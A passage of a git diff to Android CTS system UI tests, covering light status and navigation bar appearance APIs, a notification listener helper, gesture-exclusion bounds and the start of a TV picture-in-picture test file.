+    const val SYSTEM_UI_CTS_PACKAGE = "android.systemui.cts"
+    const val SYSTEM_UI_PACKAGE = "com.android.systemui"
+    const val WM_SHELL_PACKAGE = "com.android.wm.shell"
+
+    const val STRING_PIP_PAUSE = "pip_pause"
+
+    const val ID_PIP_MENU_CLOSE_BUTTON = "$SYSTEM_UI_PACKAGE:id/close_button"
+    const val ID_PIP_MENU_FULLSCREEN_BUTTON = "$SYSTEM_UI_PACKAGE:id/full_button"
+    const val ID_PIP_MENU_CUSTOM_BUTTON = "$SYSTEM_UI_PACKAGE:id/button"
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
index a826575..663cc70 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
@@ -15,7 +15,11 @@
  */
 package android.systemui.cts;
 
+import static android.view.WindowInsetsController.APPEARANCE_LIGHT_NAVIGATION_BARS;
+import static android.view.WindowInsetsController.APPEARANCE_LIGHT_STATUS_BARS;
+
 import android.view.View;
+import android.view.WindowInsetsController;
 
 /**
  * An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR and
@@ -23,15 +27,15 @@
  */
 public class LightBarActivity extends LightBarBaseActivity {
 
-    public void setLightStatusBar(boolean lightStatusBar) {
-        setLightBar(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+    public void setLightStatusBarLegacy(boolean lightStatusBar) {
+        setLightBarLegacy(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
     }
 
-    public void setLightNavigationBar(boolean lightNavigationBar) {
-        setLightBar(lightNavigationBar, View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
+    public void setLightNavigationBarLegacy(boolean lightNavigationBar) {
+        setLightBarLegacy(lightNavigationBar, View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
     }
 
-    private void setLightBar(boolean light, int systemUiFlag) {
+    private void setLightBarLegacy(boolean light, int systemUiFlag) {
         int vis = getWindow().getDecorView().getSystemUiVisibility();
         if (light) {
             vis |= systemUiFlag;
@@ -40,4 +44,24 @@
         }
         getWindow().getDecorView().setSystemUiVisibility(vis);
     }
+
+    public void setLightStatusBarAppearance(boolean lightStatusBar) {
+        setLightBarAppearance(lightStatusBar, APPEARANCE_LIGHT_STATUS_BARS);
+    }
+
+    public void setLightNavigationBarAppearance(boolean lightNavigationBar) {
+        setLightBarAppearance(lightNavigationBar, APPEARANCE_LIGHT_NAVIGATION_BARS);
+    }
+
+    private void setLightBarAppearance(boolean light, int appearanceFlag) {
+        final WindowInsetsController controller =
+                getWindow().getDecorView().getWindowInsetsController();
+        int appearance = controller.getSystemBarsAppearance();
+        if (light) {
+            appearance |= appearanceFlag;
+        } else {
+            appearance &= ~appearanceFlag;
+        }
+        controller.setSystemBarsAppearance(appearance, appearanceFlag);
+    }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index dc414ef..8fbd429 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -38,6 +38,8 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ThrowingRunnable;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
@@ -82,32 +84,68 @@
     public void testLightStatusBarIcons() throws Throwable {
         assumeHasColoredStatusBar(mActivityRule);
 
-        mNm = (NotificationManager) getInstrumentation().getContext()
-                .getSystemService(Context.NOTIFICATION_SERVICE);
-        NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
-                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
-        mNm.createNotificationChannel(channel1);
+        runInNotificationSession(() -> {
+            requestLightBars(LIGHT_BG_COLOR);
+            Thread.sleep(WAIT_TIME);
 
-        // post 10 notifications to ensure enough icons in the status bar
-        for (int i = 0; i < 10; i++) {
-            Notification.Builder noti1 = new Notification.Builder(getInstrumentation().getContext(),
-                    NOTIFICATION_CHANNEL_ID)
-                    .setSmallIcon(R.drawable.ic_save)
-                    .setChannelId(NOTIFICATION_CHANNEL_ID)
-                    .setPriority(Notification.PRIORITY_LOW)
-                    .setGroup(NOTIFICATION_GROUP_KEY);
-            mNm.notify(NOTIFICATION_TAG, i, noti1.build());
-        }
+            Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+            Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+            assertStats(bitmap, s, true /* light */);
+        });
+    }
 
-        requestLightBars(LIGHT_BG_COLOR);
-        Thread.sleep(WAIT_TIME);
+    @Test
+    @AppModeFull // Instant apps cannot create notifications
+    public void testAppearanceCanOverwriteLegacyFlags() throws Throwable {
+        assumeHasColoredStatusBar(mActivityRule);
 
-        Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
-        Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
-        assertLightStats(bitmap, s);
+        runInNotificationSession(() -> {
+            final LightBarActivity activity = mActivityRule.getActivity();
+            activity.runOnUiThread(() -> {
+                activity.getWindow().setStatusBarColor(LIGHT_BG_COLOR);
+                activity.getWindow().setNavigationBarColor(LIGHT_BG_COLOR);
 
-        mNm.cancelAll();
-        mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+                activity.setLightStatusBarLegacy(true);
+                activity.setLightNavigationBarLegacy(true);
+
+                // The new appearance APIs can overwrite the appearance specified by the legacy
+                // flags.
+                activity.setLightStatusBarAppearance(false);
+                activity.setLightNavigationBarAppearance(false);
+            });
+            Thread.sleep(WAIT_TIME);
+
+            Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+            Stats s = evaluateDarkBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+            assertStats(bitmap, s, false /* light */);
+        });
+    }
+
+    @Test
+    @AppModeFull // Instant apps cannot create notifications
+    public void testLegacyFlagsCannotOverwriteAppearance() throws Throwable {
+        assumeHasColoredStatusBar(mActivityRule);
+
+        runInNotificationSession(() -> {
+            final LightBarActivity activity = mActivityRule.getActivity();
+            activity.runOnUiThread(() -> {
+                activity.getWindow().setStatusBarColor(LIGHT_BG_COLOR);
+                activity.getWindow().setNavigationBarColor(LIGHT_BG_COLOR);
+
+                activity.setLightStatusBarAppearance(false);
+                activity.setLightNavigationBarAppearance(false);
+
+                // Once the client starts using the new appearance APIs, the legacy flags won't
+                // change the appearance anymore.
+                activity.setLightStatusBarLegacy(true);
+                activity.setLightNavigationBarLegacy(true);
+            });
+            Thread.sleep(WAIT_TIME);
+
+            Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+            Stats s = evaluateDarkBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+            assertStats(bitmap, s, false /* light */);
+        });
     }
 
     @Test
@@ -126,7 +164,7 @@
         LightBarActivity activity = mActivityRule.getActivity();
         Bitmap bitmap = takeNavigationBarScreenshot(activity);
         Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, activity.getBottom());
-        assertLightStats(bitmap, s);
+        assertStats(bitmap, s, true /* light */);
     }
 
     @Test
@@ -143,6 +181,33 @@
                 mTestName.getMethodName());
     }
 
+    private void runInNotificationSession(ThrowingRunnable task) throws Exception {
+        try {
+            mNm = (NotificationManager) getInstrumentation().getContext()
+                    .getSystemService(Context.NOTIFICATION_SERVICE);
+            NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                    NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+            mNm.createNotificationChannel(channel1);
+
+            // post 10 notifications to ensure enough icons in the status bar
+            for (int i = 0; i < 10; i++) {
+                Notification.Builder noti1 = new Notification.Builder(
+                        getInstrumentation().getContext(),
+                        NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.ic_save)
+                        .setChannelId(NOTIFICATION_CHANNEL_ID)
+                        .setPriority(Notification.PRIORITY_LOW)
+                        .setGroup(NOTIFICATION_GROUP_KEY);
+                mNm.notify(NOTIFICATION_TAG, i, noti1.build());
+            }
+
+            task.run();
+        } finally {
+            mNm.cancelAll();
+            mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        }
+    }
+
     private void injectCanceledTap(int x, int y) {
         long downTime = SystemClock.uptimeMillis();
         injectEvent(MotionEvent.ACTION_DOWN, x, y, downTime);
@@ -158,19 +223,22 @@
         event.recycle();
     }
 
-    private void assertLightStats(Bitmap bitmap, Stats s) {
+    private void assertStats(Bitmap bitmap, Stats s, boolean light) {
         boolean success = false;
         try {
             assumeNavigationBarChangesColor(s.backgroundPixels, s.totalPixels());
 
+            final String spec = light ? "60% black and 24% black" : "100% white and 30% white";
             assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
                     (float) s.iconPixels / (float) s.foregroundPixels(),
-                    "Are the bar icons colored according to the spec "
-                            + "(60% black and 24% black)?");
+                    "Are the bar icons colored according to the spec (" + spec + ")?");
 
-            assertLessThan("Too many lighter pixels lighter than the background", 0.05f,
-                    (float) s.sameHueLightPixels / (float) s.foregroundPixels(),
-                    "Are the bar icons dark?");
+            final String unexpected = light ? "lighter" : "darker";
+            final String expected = light ? "dark" : "light";
+            final int sameHuePixels = light ? s.sameHueLightPixels : s.sameHueDarkPixels;
+            assertLessThan("Too many pixels " + unexpected + " than the background", 0.05f,
+                    (float) sameHuePixels / (float) s.foregroundPixels(),
+                    "Are the bar icons " + expected + "?");
 
             assertLessThan("Too many pixels with a changed hue", 0.05f,
                     (float) s.unexpectedHuePixels / (float) s.foregroundPixels(),
@@ -184,13 +252,13 @@
         }
     }
 
-    private void requestLightBars(final int background) throws Throwable {
+    private void requestLightBars(final int background) {
         final LightBarActivity activity = mActivityRule.getActivity();
         activity.runOnUiThread(() -> {
             activity.getWindow().setStatusBarColor(background);
             activity.getWindow().setNavigationBarColor(background);
-            activity.setLightStatusBar(true);
-            activity.setLightNavigationBar(true);
+            activity.setLightStatusBarLegacy(true);
+            activity.setLightNavigationBarLegacy(true);
         });
     }
 
@@ -220,8 +288,15 @@
     }
 
     private Stats evaluateLightBarBitmap(Bitmap bitmap, int background, int shiftY) {
-        int iconColor = 0x99000000;
-        int iconPartialColor = 0x3d000000;
+        return evaluateBarBitmap(bitmap, background, shiftY, 0x99000000, 0x3d000000);
+    }
+
+    private Stats evaluateDarkBarBitmap(Bitmap bitmap, int background, int shiftY) {
+        return evaluateBarBitmap(bitmap, background, shiftY, 0xffffffff, 0x4dffffff);
+    }
+
+    private Stats evaluateBarBitmap(Bitmap bitmap, int background, int shiftY, int iconColor,
+            int iconPartialColor) {
 
         int mixedIconColor = mixSrcOver(background, iconColor);
         int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
diff --git a/tests/tests/systemui/src/android/systemui/cts/NotificationListener.kt b/tests/tests/systemui/src/android/systemui/cts/NotificationListener.kt
new file mode 100644
index 0000000..6f5b2e5
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/NotificationListener.kt
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.systemui.cts
+
+import android.os.SystemClock
+import android.service.notification.NotificationListenerService
+import android.service.notification.StatusBarNotification
+import android.util.Log
+import com.android.compatibility.common.util.ShellUtils.runShellCommand
+
+class NotificationListener : NotificationListenerService() {
+
+    override fun onNotificationPosted(sbn: StatusBarNotification) {
+        if (DEBUG) Log.d(TAG, "onNotificationPosted: $sbn")
+    }
+
+    override fun onNotificationRemoved(sbn: StatusBarNotification) {
+        if (DEBUG) Log.d(TAG, "onNotificationRemoved: $sbn")
+    }
+
+    override fun onListenerConnected() {
+        if (DEBUG) Log.d(TAG, "onListenerConnected")
+        instance = this
+    }
+
+    override fun onListenerDisconnected() {
+        if (DEBUG) Log.d(TAG, "onListenerDisconnected")
+        instance = null
+    }
+
+    companion object {
+        private const val DEBUG = false
+        private const val TAG = "SystemUi_Cts_NotificationListener"
+
+        private const val DEFAULT_TIMEOUT = 5_000L
+        private const val DEFAULT_POLL_INTERVAL = 500L
+
+        private const val CMD_NOTIFICATION_ALLOW_LISTENER = "cmd notification allow_listener %s"
+        private const val CMD_NOTIFICATION_DISALLOW_LISTENER =
+                "cmd notification disallow_listener %s"
+        private const val COMPONENT_NAME = "android.systemui.cts/.NotificationListener"
+
+        private var instance: NotificationListener? = null
+
+        fun startNotificationListener(): Boolean {
+            if (instance != null) {
+                return true
+            }
+
+            runShellCommand(CMD_NOTIFICATION_ALLOW_LISTENER.format(COMPONENT_NAME))
+
+            return wait { instance != null }
+        }
+
+        fun stopNotificationListener(): Boolean {
+            if (instance == null) {
+                return true
+            }
+
+            runShellCommand(CMD_NOTIFICATION_DISALLOW_LISTENER.format(COMPONENT_NAME))
+            return wait { instance == null }
+        }
+
+        fun waitForNotificationToAppear(
+            predicate: (StatusBarNotification) -> Boolean
+        ): StatusBarNotification? {
+            instance?.let {
+                return waitForResult(extractor = {
+                    it.activeNotifications.firstOrNull(predicate)
+                }).second
+            } ?: throw IllegalStateException("NotificationListenerService is not connected")
+        }
+
+        fun waitForNotificationToDisappear(
+            predicate: (StatusBarNotification) -> Boolean
+        ): Boolean {
+            return instance?.let {
+                wait { it.activeNotifications.none(predicate) }
+            } ?: throw IllegalStateException("NotificationListenerService is not connected")
+        }
+
+        private fun wait(condition: () -> Boolean): Boolean {
+            val (success, _) = waitForResult(extractor = condition, validator = { it })
+            return success
+        }
+
+        private fun <R> waitForResult(
+            timeout: Long = DEFAULT_TIMEOUT,
+            interval: Long = DEFAULT_POLL_INTERVAL,
+            extractor: () -> R,
+            validator: (R) -> Boolean = { it != null }
+        ): Pair<Boolean, R?> {
+            val startTime = SystemClock.uptimeMillis()
+            do {
+                val result = extractor()
+                if (validator(result)) {
+                    return (true to result)
+                }
+                SystemClock.sleep(interval)
+            } while (SystemClock.uptimeMillis() - startTime < timeout)
+
+            return (false to null)
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
index e4c6b07..0d7ba4c 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
@@ -46,7 +46,8 @@
     private WindowInsets mContentWindowInsets;
     private WindowInsets mDecorViewWindowInsets;
     private Rect mDecorBound;
-    private Rect mContentBound;
+    private Rect mContentBoundOnScreen;
+    private Rect mContentBoundInWindow;
 
     private Consumer<Boolean> mInitialFinishCallBack;
     private int mClickCount;
@@ -124,6 +125,13 @@
         return mDecorViewWindowInsets;
     }
 
+    Rect getContentBoundOnScreen() {
+        return mContentBoundOnScreen;
+    }
+
+    Rect getContentBoundInWindow() {
+        return mContentBoundInWindow;
+    }
 
     /**
      * To catch the WindowInsets that passwd to the content view.
@@ -149,8 +157,9 @@
         super.onAttachedToWindow();
 
         mContent.post(() -> {
-            mContentBound = getViewBound(mContent);
-            mDecorBound = getViewBound(getWindow().getDecorView());
+            mContentBoundOnScreen = getViewBoundOnScreen(mContent);
+            mContentBoundInWindow = getViewBoundInWindow(mContent);
+            mDecorBound = getViewBoundOnScreen(getWindow().getDecorView());
             showInfoInTextView();
 
             if (mInitialFinishCallBack != null) {
@@ -206,7 +215,8 @@
                     + mContentWindowInsets.getMandatorySystemGestureInsets()).append("\n");
             sb.append("getTappableElementInsets = "
                     + mContentWindowInsets.getTappableElementInsets()).append("\n");
-            sb.append("content boundary = ").append(mContentBound).append("\n");
+            sb.append("content boundary on screen = ").append(mContentBoundOnScreen).append("\n");
+            sb.append("content boundary in window = ").append(mContentBoundInWindow).append("\n");
         }
 
         Display display = getDisplay();
@@ -232,19 +242,44 @@
         return mContent;
     }
 
-    Rect getViewBound(View view) {
-        int [] screenlocation = new int[2];
-        view.getLocationOnScreen(screenlocation);
-        return new Rect(screenlocation[0], screenlocation[1],
-                screenlocation[0] + view.getWidth(),
-                screenlocation[1] + view.getHeight());
+    Rect getViewBoundOnScreen(View view) {
+        int [] location = new int[2];
+        view.getLocationOnScreen(location);
+        return new Rect(location[0], location[1],
+                location[0] + view.getWidth(),
+                location[1] + view.getHeight());
+    }
+
+    Rect getViewBoundInWindow(View view) {
+        int [] location = new int[2];
+        view.getLocationInWindow(location);
+        return new Rect(location[0], location[1],
+                location[0] + view.getWidth(),
+                location[1] + view.getHeight());
+    }
+
+    @MainThread
+    public Rect getActionBounds(Insets insets, WindowInsets windowInsets) {
+        return calculateBoundsWithInsets(insets, windowInsets, mContentBoundOnScreen);
+    }
+
+    @MainThread
+    public Rect getSystemGestureExclusionBounds(Insets insets, WindowInsets windowInsets) {
+        return calculateBoundsWithInsets(insets, windowInsets, mContentBoundInWindow);
     }
 
     /**
-     * To count the draggable boundary that has consume the related insets.
+     * Calculate the bounds for performing actions(click, tap or swipe) or for setting the exclusion
+     * rect and the coordinate space of the return Rect could be the display or window coordinate
+     * space which is determined by the passed in refRect.
+     *
+     * @param insets the insets to be tested.
+     * @param windowInsets the WindowInsets that pass to the activity.
+     * @param refRect the rect which determines whether the return rect is the display or the window
+     *                coordinate space.
+     * @return the bounds for performing actions or for setting the exclusion rect.
      **/
-    @MainThread
-    public Rect getOperationArea(Insets insets, WindowInsets windowInsets) {
+    private Rect calculateBoundsWithInsets(Insets insets, WindowInsets windowInsets, Rect refRect) {
         int left = insets.left;
         int top = insets.top;
         int right = insets.right;
@@ -267,8 +302,7 @@
             }
         }
 
-        Rect windowBoundary = getViewBound(getContentView());
-        Rect rect = new Rect(windowBoundary);
+        Rect rect = new Rect(refRect);
         rect.left += left;
         rect.top += top;
         rect.right -= right;
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 69c5cc2..b5e657c 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -106,7 +106,8 @@
     private int mDisplayWidth;
     private int mExclusionLimit;
     private UiDevice mDevice;
-    private Rect mSwipeBound;
+    // Bounds for actions like swipe and click.
+    private Rect mActionBounds;
     private String mEdgeToEdgeNavigationTitle;
     private String mSystemNavigationTitle;
     private String mGesturePreferenceTitle;
@@ -452,7 +453,7 @@
 
         int count = 0;
 
-        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm) {
+        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm * 2) {
             if (callback != null) {
                 callback.accept(new Point(theLeftestLine, i),
                         new Point(viewBoundary.centerX(), i));
@@ -477,7 +478,7 @@
         final int theBottomestLine = viewBoundary.bottom - 1;
 
         int count = 0;
-        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm) {
+        for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm * 2) {
             if (callback != null) {
                 callback.accept(new Point(theRightestLine, i),
                         new Point(viewBoundary.centerX(), i));
@@ -511,7 +512,7 @@
         final int theRightestLine = viewBoundary.right - 1;
 
         int count = 0;
-        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm) {
+        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm * 2) {
             if (callback != null) {
                 callback.accept(new Point(i, theToppestLine),
                         new Point(i, viewBoundary.centerY()));
@@ -536,7 +537,7 @@
         final int theBottomestLine = viewBoundary.bottom - 1;
 
         int count = 0;
-        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm) {
+        for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm * 2) {
             if (callback != null) {
                 callback.accept(new Point(i, theBottomestLine),
                         new Point(i, viewBoundary.centerY()));
@@ -578,17 +579,10 @@
     }
 
     private List<Rect> splitBoundsAccordingToExclusionLimit(Rect rect) {
-        final int exclusionHeightLimit = (int) (getPropertyOfMaxExclusionHeight() * mPixelsPerDp
-                + 0.5f);
-
+        final int exclusionHeightLimit = (int) (EXCLUSION_LIMIT_DP * mPixelsPerDp + 0.5f);
         final List<Rect> bounds = new ArrayList<>();
-        if (rect.height() < exclusionHeightLimit) {
-            bounds.add(rect);
-            return bounds;
-        }
-
         int nextTop = rect.top;
-        while (nextTop >= rect.bottom) {
+        while (nextTop < rect.bottom) {
             final int top = nextTop;
             int bottom = top + exclusionHeightLimit;
             if (bottom > rect.bottom) {
@@ -597,29 +591,38 @@
 
             bounds.add(new Rect(rect.left, top, rect.right, bottom));
 
-            nextTop += bottom;
+            nextTop = bottom;
         }
 
         return bounds;
     }
 
+    /**
+     * @throws Throwable when setting the property goes wrong.
+     */
     @Test
-    public void mandatorySystemGesture_excludeViewRects_withoutAnyCancel()
-            throws InterruptedException {
+    public void systemGesture_excludeViewRects_withoutAnyCancel()
+            throws Throwable {
         assumeTrue(hasSystemGestureFeature());
 
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mActionBounds = mActivity.getActionBounds(
+                mContentViewWindowInsets.getSystemGestureInsets(), mContentViewWindowInsets));
+        final Rect exclusionRect = new Rect();
+        mainThreadRun(() -> exclusionRect.set(mActivity.getSystemGestureExclusionBounds(
                 mContentViewWindowInsets.getMandatorySystemGestureInsets(),
-                mContentViewWindowInsets));
+                mContentViewWindowInsets)));
 
-        final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
-        int swipeCount = 0;
-        for (Rect swipeBound : swipeBounds) {
-            setAndWaitForSystemGestureExclusionRectsListenerTrigger(swipeBound);
-            swipeCount += swipeInViewBoundary(swipeBound);
-        }
-
+        final int[] swipeCount = {0};
+        doInExclusionLimitSession(() -> {
+            final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mActionBounds);
+            final List<Rect> exclusionRects = splitBoundsAccordingToExclusionLimit(exclusionRect);
+            final int size = swipeBounds.size();
+            for (int i = 0; i < size; i++) {
+                setAndWaitForSystemGestureExclusionRectsListenerTrigger(exclusionRects.get(i));
+                swipeCount[0] += swipeInViewBoundary(swipeBounds.get(i));
+            }
+        });
         mainThreadRun(() -> {
             mActionDownPoints = mActivity.getActionDownPoints();
             mActionUpPoints = mActivity.getActionUpPoints();
@@ -628,8 +631,8 @@
         mScreenshotTestRule.capture();
 
         assertEquals(0, mActionCancelPoints.size());
-        assertEquals(swipeCount, mActionUpPoints.size());
-        assertEquals(swipeCount, mActionDownPoints.size());
+        assertEquals(swipeCount[0], mActionUpPoints.size());
+        assertEquals(swipeCount[0], mActionDownPoints.size());
     }
 
     @Test
@@ -638,14 +641,9 @@
 
         mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mActionBounds = mActivity.getActionBounds(
                 mContentViewWindowInsets.getSystemGestureInsets(), mContentViewWindowInsets));
-
-        final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
-        int swipeCount = 0;
-        for (Rect swipeBound : swipeBounds) {
-            swipeCount += swipeInViewBoundary(swipeBound);
-        }
+        final int swipeCount = swipeInViewBoundary(mActionBounds);
 
         mainThreadRun(() -> {
             mActionDownPoints = mActivity.getActionDownPoints();
@@ -663,12 +661,11 @@
     public void tappableElements_tapSamplePoints_excludeViewRects_withoutAnyCancel()
             throws InterruptedException {
         assumeTrue(hasSystemGestureFeature());
-
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mActionBounds = mActivity.getActionBounds(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
 
-        final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
+        final int count = clickAllOfSamplePoints(mActionBounds, this::clickAndWaitByUiDevice);
 
         mainThreadRun(() -> {
             mClickCount = mActivity.getClickCount();
@@ -687,10 +684,10 @@
 
         mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mActionBounds = mActivity.getActionBounds(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
 
-        final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
+        final int count = clickAllOfSamplePoints(mActionBounds, this::clickAndWaitByUiDevice);
 
         mainThreadRun(() -> {
             mClickCount = mActivity.getClickCount();
@@ -772,7 +769,7 @@
             final Rect swipeBounds = new Rect();
             mainThreadRun(() -> {
                 final View rootView = mActivity.getWindow().getDecorView();
-                swipeBounds.set(mActivity.getViewBound(rootView));
+                swipeBounds.set(mActivity.getViewBoundOnScreen(rootView));
             });
             // The limit is consumed from bottom to top.
             final int swipeY = swipeBounds.bottom - mExclusionLimit + shiftY;
@@ -859,7 +856,14 @@
         assertTrue("Exclusion must be applied.", exclusionApplied.await(3, SECONDS));
     }
 
-    private static int getPropertyOfMaxExclusionHeight() {
+    /**
+     * Run the given task while the system gesture exclusion limit has been changed to
+     * {@link #EXCLUSION_LIMIT_DP}, and then restore the value while the task is finished.
+     *
+     * @param task the task to be run.
+     * @throws Throwable when something goes unexpectedly.
+     */
+    private static void doInExclusionLimitSession(ThrowingRunnable task) throws Throwable {
         final int[] originalLimitDp = new int[1];
         SystemUtil.runWithShellPermissionIdentity(() -> {
             originalLimitDp[0] = DeviceConfig.getInt(NAMESPACE_ANDROID,
@@ -870,18 +874,6 @@
                     Integer.toString(EXCLUSION_LIMIT_DP), false /* makeDefault */);
         });
 
-        return originalLimitDp[0];
-    }
-
-    /**
-     * Run the given task while the system gesture exclusion limit has been changed to
-     * {@link #EXCLUSION_LIMIT_DP}, and then restore the value while the task is finished.
-     *
-     * @param task the task to be run.
-     * @throws Throwable when something goes unexpectedly.
-     */
-    private static void doInExclusionLimitSession(ThrowingRunnable task) throws Throwable {
-        int originalLimitDp = getPropertyOfMaxExclusionHeight();
         try {
             task.run();
         } finally {
@@ -889,7 +881,7 @@
             SystemUtil.runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
                     NAMESPACE_ANDROID,
                     KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
-                    (originalLimitDp != -1) ? Integer.toString(originalLimitDp) : null,
+                    (originalLimitDp[0] != -1) ? Integer.toString(originalLimitDp[0]) : null,
                     false /* makeDefault */));
         }
     }
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
new file mode 100644
index 0000000..82be3e2
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv
+
+import android.Manifest.permission.READ_DREAM_STATE
+import android.Manifest.permission.WRITE_DREAM_STATE
+import android.app.WindowConfiguration
+import android.content.pm.PackageManager
+import android.os.ServiceManager
+import android.platform.test.annotations.Postsubmit
+import android.server.wm.Condition
+import android.server.wm.WindowManagerState
+import android.server.wm.annotation.Group2
+import android.service.dreams.DreamService
+import android.service.dreams.IDreamManager
+import android.systemui.tv.cts.Components.PIP_ACTIVITY
+import android.systemui.tv.cts.Components.windowName
+import android.systemui.tv.cts.PipActivity
+import android.systemui.tv.cts.PipActivity.ACTION_ENTER_PIP
+import androidx.annotation.CallSuper
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.ThrowingSupplier
+import org.junit.Assume
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertTrue
+
+/**
+ * Tests most basic picture in picture (PiP) behavior.
+ *
+ * Build/Install/Run:
+ * atest CtsSystemUiTestCases:BasicPipTests
+ */
+@Postsubmit
+@Group2
+@RunWith(AndroidJUnit4::class)
+class BasicPipTests : TvTestBase() {
+    private val isPipSupported: Boolean
+        get() = packageManager.hasSystemFeature(PackageManager.FEATURE_PICTURE_IN_PICTURE)
+
+    @CallSuper
+    override fun onSetUp() {
